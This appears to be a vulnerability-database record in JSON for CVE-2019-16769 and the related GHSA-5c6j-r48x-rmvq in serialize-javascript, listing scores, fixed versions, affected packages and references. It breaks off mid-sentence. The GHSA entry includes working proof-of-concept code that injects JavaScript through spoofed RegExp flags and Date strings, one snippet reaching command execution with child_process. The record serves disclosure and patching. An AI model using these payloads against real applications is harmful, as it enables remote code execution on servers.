{"id":"CVE-2019-16769","aliases":["CLSA-2026-1773447385","CLSA-2026-1774311647","CLSA-2026-1774398069","CLSA-2026-1774916711","CLSA-2026-1774916712","CLSA-2026-1774916713","CLSA-2026-1776213251","CLSA-2026-1787823934","CLSA-2026-1793789998","CLSA-2026-1793790397","EUVD-2019-0792","GHSA-5c6j-r48x-rmvq","GHSA-h9rv-jmmf-4pgx","RHSA-2020:2796","ROOT-APP-NPM-CVE-2019-16769","ROOT-APP-NPM-GHSA-5c6j-r48x-rmvq","SUSE-RU-2020:0671-1","SUSE-SU-2020:0671-1"],"status":"published","title":"Affected versions of serialize-javascript are vulnerable to Cross-site Scripting (XSS)","description":"The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","severity":{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-08","score":0.008,"percentile":0.56818,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79","CWE-96"],"published":"2019-12-05T18:44:37Z","modified":"2026-11-04T14:45:06Z","fixes":[{"ecosystem":"npm","package":"serialize-javascript","fixed_in":["7.0.3","2.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"serialize-javascript","fixed_in":["6.0.2-tuxcare.1","1.9.1-tuxcare.1","5.0.1-tuxcare.1","4.0.0-tuxcare.1","3.1.0-tuxcare.1","7.0.2-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/serialize-javascript","fixed_in":["1.9.1-root.io.2","4.0.0-root.io.2","5.0.1-root.io.1","6.0.2-root.io.1","6.0.2-root.io.2","4.0.0-root.io.1","5.0.1-root.io.2","1.9.1-root.io.1","6.0.1-root.io.1","3.1.0-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"serialize-javascript","fixed_in":["1.9.1-aikido.2","4.0.0-aikido.2","5.0.1-aikido.2","1.9.1-aikido.1","6.0.1-aikido.1","3.1.0-aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"7.0.2"},{"fixed":"7.0.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.2-tuxcare.0"},{"fixed":"6.0.2-tuxcare.1"}]}],"versions":["6.0.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.1-tuxcare.0"},{"fixed":"1.9.1-tuxcare.1"}]}],"versions":["1.9.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.1-tuxcare.0"},{"fixed":"5.0.1-tuxcare.1"}]}],"versions":["5.0.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-tuxcare.0"},{"fixed":"4.0.0-tuxcare.1"}]}],"versions":["4.0.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0-tuxcare.0"},{"fixed":"3.1.0-tuxcare.1"}]}],"versions":["3.1.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.2-tuxcare.0"},{"fixed":"2.1.2-tuxcare.1"}]}],"versions":["2.1.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0-tuxcare.0"},{"fixed":"3.0.0-tuxcare.1"}]}],"versions":["3.0.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.2-tuxcare.0"},{"fixed":"7.0.2-tuxcare.1"}]}],"versions":["7.0.2"]},{"source":"osv","ecosystem":"npm","package":"serialize-javascript","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.3"}]}]},{"source":"osv","ecosystem":"npm","package":"serialize-javascript","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.1"}]}]},{"source":"osv","ecosystem":"Red Hat:service_mesh:1.1::el8","package":"servicemesh-grafana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.4.3-11.el8"}]}],"bundled":8},{"source":"osv","ecosystem":"Red Hat:service_mesh:1.1::el8","package":"servicemesh-grafana-prometheus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.4.3-11.el8"}]}],"bundled":8},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.1-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0-aikido.2"},{"fixed":"5.0.1-aikido.2"},{"fixed":"1.9.1-aikido.1"},{"fixed":"1.9.1-aikido.2"},{"fixed":"6.0.1-aikido.1"},{"fixed":"3.1.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/serialize-javascript","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0-root.io.2"},{"fixed":"5.0.1-root.io.1"},{"fixed":"6.0.2-root.io.1"},{"fixed":"6.0.2-root.io.2"},{"fixed":"4.0.0-root.io.1"},{"fixed":"5.0.1-root.io.2"},{"fixed":"1.9.1-root.io.1"},{"fixed":"1.9.1-root.io.2"},{"fixed":"6.0.1-root.io.1"},{"fixed":"3.1.0-root.io.1"}]}]},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"mgr-osad","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.11-3.9.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"patterns-suse-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0-9.10.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.18-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-backend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.30-3.23.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-certs-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.15-3.15.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.12-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-web","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.19-3.18.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"supportutils-plugin-susemanager-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.3-3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"supportutils-plugin-susemanager-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.3-3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"mgr-osad","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.11-3.9.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"patterns-suse-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0-9.10.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.18-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-backend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.30-3.23.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-certs-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.15-3.15.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.12-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"spacewalk-web","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.19-3.18.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"supportutils-plugin-susemanager-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.3-3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Proxy Module 4.0","package":"supportutils-plugin-susemanager-proxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.3-3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"branch-network-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1580471316.1839544-3.10.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"image-sync-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1579102150.4716559-3.11.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"mgr-osad","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.11-3.9.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"patterns-suse-manager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0-9.10.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"prometheus-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1-4.7.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"pxe-default-image-sle15","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.1-20200305173027"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"pxe-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.1580384994.6076a7e-3.11.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"py26-compat-salt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2016.11.10-10.11.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"python-susemanager-retail","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1580471316.1839544-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"redstone-xmlrpc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1_20071120-0.11.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"salt-netapi-client","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.17.0-4.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacecmd","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.18-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.9-3.6.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-backend","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.30-3.23.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-certs-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.15-3.15.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-client-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.12-3.13.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.31-3.23.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-search","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.9-3.11.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-setup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.13-3.11.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-utils","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.16-3.15.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"spacewalk-web","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.19-3.18.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"subscription-matcher","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.25-3.3.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.22-3.20.3"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager-doc-indexes","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0-10.18.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager-docs_en","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0-10.18.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager-schema","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.18-3.17.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager-sls","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.24-3.17.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"susemanager-sync-data","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.16-3.15.2"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"system-lock-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2-4.5.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Manager Server Module 4.0","package":"virtualization-host-formula","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2-4.3.2"}]}],"bundled":3}],"products":[{"vendor":"verizon","product":"serialize-javascript"},{"vendor":"yahoo","product":"serialize-javascript"}],"references":[{"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-h9rv-jmmf-4pgx","tags":["x_refsource_CONFIRM","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7660","tags":["advisory"]},{"url":"https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hxcc-f52p-wc94","tags":["advisory"]},{"url":"https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","tags":["web"]},{"url":"https://github.com/advisories/GHSA-5c6j-r48x-rmvq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16769","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-h9rv-jmmf-4pgx","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/1426","tags":["web"]},{"url":"https://github.com/yahoo/serialize-javascript","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2020:2796","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1757701","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1843640","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1844228","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1845982","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848089","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848092","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848108","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1848643","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2020/rhsa-2020_2796.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2019-11253","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2019-11253","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11253","tags":["advisory"]},{"url":"https://www.stackrox.com/post/2019/09/protecting-kubernetes-api-against-cve-2019-11253-billion-laughs-attack/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2019-16769","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2019-16769","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-7660","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-7660","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-7662","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-7662","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7662","tags":["advisory"]},{"url":"https://github.com/faye/websocket-extensions-node/security/advisories/GHSA-g78m-2chm-r7qv","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-12052","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-12052","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-12052","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-12245","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-12245","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-12245","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-13379","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-13379","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-13379","tags":["advisory"]},{"url":"https://grafana.com/blog/2020/06/03/grafana-6.7.4-and-7.0.2-released-with-important-security-fix/","tags":["article"]},{"url":"https://www.openwall.com/lists/oss-security/2020/06/09/2/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2020-13430","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2020-13430","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-13430","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/-2020-671/suse-ru-20200671-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1083326","tags":["report"]},{"url":"https://bugzilla.suse.com/1085414","tags":["report"]},{"url":"https://bugzilla.suse.com/1121640","tags":["report"]},{"url":"https://bugzilla.suse.com/1123274","tags":["report"]},{"url":"https://bugzilla.suse.com/1137248","tags":["report"]},{"url":"https://bugzilla.suse.com/1140332","tags":["report"]},{"url":"https://bugzilla.suse.com/1144176","tags":["report"]},{"url":"https://bugzilla.suse.com/1152673","tags":["report"]},{"url":"https://bugzilla.suse.com/1152795","tags":["report"]},{"url":"https://bugzilla.suse.com/1153269","tags":["report"]},{"url":"https://bugzilla.suse.com/1154246","tags":["report"]},{"url":"https://bugzilla.suse.com/1154590","tags":["report"]},{"url":"https://bugzilla.suse.com/1154599","tags":["report"]},{"url":"https://bugzilla.suse.com/1155281","tags":["report"]},{"url":"https://bugzilla.suse.com/1155372","tags":["report"]},{"url":"https://bugzilla.suse.com/1156751","tags":["report"]},{"url":"https://bugzilla.suse.com/1157317","tags":["report"]},{"url":"https://bugzilla.suse.com/1157346","tags":["report"]},{"url":"https://bugzilla.suse.com/1157447","tags":["report"]},{"url":"https://bugzilla.suse.com/1157700","tags":["report"]},{"url":"https://bugzilla.suse.com/1157975","tags":["report"]},{"url":"https://bugzilla.suse.com/1158178","tags":["report"]},{"url":"https://bugzilla.suse.com/1158181","tags":["report"]},{"url":"https://bugzilla.suse.com/1158283","tags":["report"]},{"url":"https://bugzilla.suse.com/1158480","tags":["report"]},{"url":"https://bugzilla.suse.com/1158564","tags":["report"]},{"url":"https://bugzilla.suse.com/1158672","tags":["report"]},{"url":"https://bugzilla.suse.com/1158697","tags":["report"]},{"url":"https://bugzilla.suse.com/1158754","tags":["report"]},{"url":"https://bugzilla.suse.com/1158818","tags":["report"]},{"url":"https://bugzilla.suse.com/1158899","tags":["report"]},{"url":"https://bugzilla.suse.com/1158943","tags":["report"]},{"url":"https://bugzilla.suse.com/1159012","tags":["report"]},{"url":"https://bugzilla.suse.com/1159023","tags":["report"]},{"url":"https://bugzilla.suse.com/1159076","tags":["report"]},{"url":"https://bugzilla.suse.com/1159184","tags":["report"]},{"url":"https://bugzilla.suse.com/1159492","tags":["report"]},{"url":"https://bugzilla.suse.com/1159553","tags":["report"]},{"url":"https://bugzilla.suse.com/1160184","tags":["report"]},{"url":"https://bugzilla.suse.com/1160940","tags":["report"]},{"url":"https://bugzilla.suse.com/1161755","tags":["report"]},{"url":"https://bugzilla.suse.com/1161862","tags":["report"]},{"url":"https://bugzilla.suse.com/1162609","tags":["report"]},{"url":"https://bugzilla.suse.com/1162683","tags":["report"]},{"url":"https://bugzilla.suse.com/1164120","tags":["report"]},{"url":"https://bugzilla.suse.com/1164309","tags":["report"]},{"url":"https://bugzilla.suse.com/1164452","tags":["report"]},{"url":"https://bugzilla.suse.com/1164649","tags":["report"]},{"url":"https://bugzilla.suse.com/1164875","tags":["report"]},{"url":"https://bugzilla.suse.com/1165425","tags":["report"]},{"url":"https://bugzilla.suse.com/1165541","tags":["report"]},{"url":"https://bugzilla.suse.com/1165927","tags":["report"]},{"url":"https://bugzilla.suse.com/1166061","tags":["report"]},{"url":"https://bugzilla.suse.com/1166388","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2018-1077","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2019-16769","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2020-1693","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2020/suse-su-20200671-1/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2019-16769","title":"Affected versions of serialize-javascript are vulnerable to Cross-site Scripting (XSS)","description":"The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","status":"published","published":"2019-12-05T18:55:15Z","modified":"2024-08-05T01:24:47.226Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:23.189113Z"}],"euvd":[{"id":"EUVD-2019-0792","description":"The serialize-javascript npm package before version 2.1.1 is vulnerable to Cross-site Scripting (XSS). It does not properly mitigate against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions. If serialized data of regular expression objects are used in an environment other than Node.js, it is affected by this vulnerability.","status":"published","published":"2019-12-05T18:55:15Z","modified":"2024-08-05T01:24:47Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"updated_at":"2026-11-03T02:40:32.32735Z"}],"ghsa":[{"id":"GHSA-5c6j-r48x-rmvq","title":"Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()","description":"### Impact\n\nThe serialize-javascript npm package (versions \u003c= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `\u003cscript\u003e` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () =\u003e 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () =\u003e '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () =\u003e 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () =\u003e '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3","status":"published","published":"2026-02-28T02:50:45Z","modified":"2026-03-02T16:17:37Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-96"],"updated_at":"2026-11-02T14:39:30.031684Z"},{"id":"GHSA-h9rv-jmmf-4pgx","title":"Cross-Site Scripting in serialize-javascript","description":"Versions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n\n## Recommendation\n\nUpgrade to version 2.1.1 or 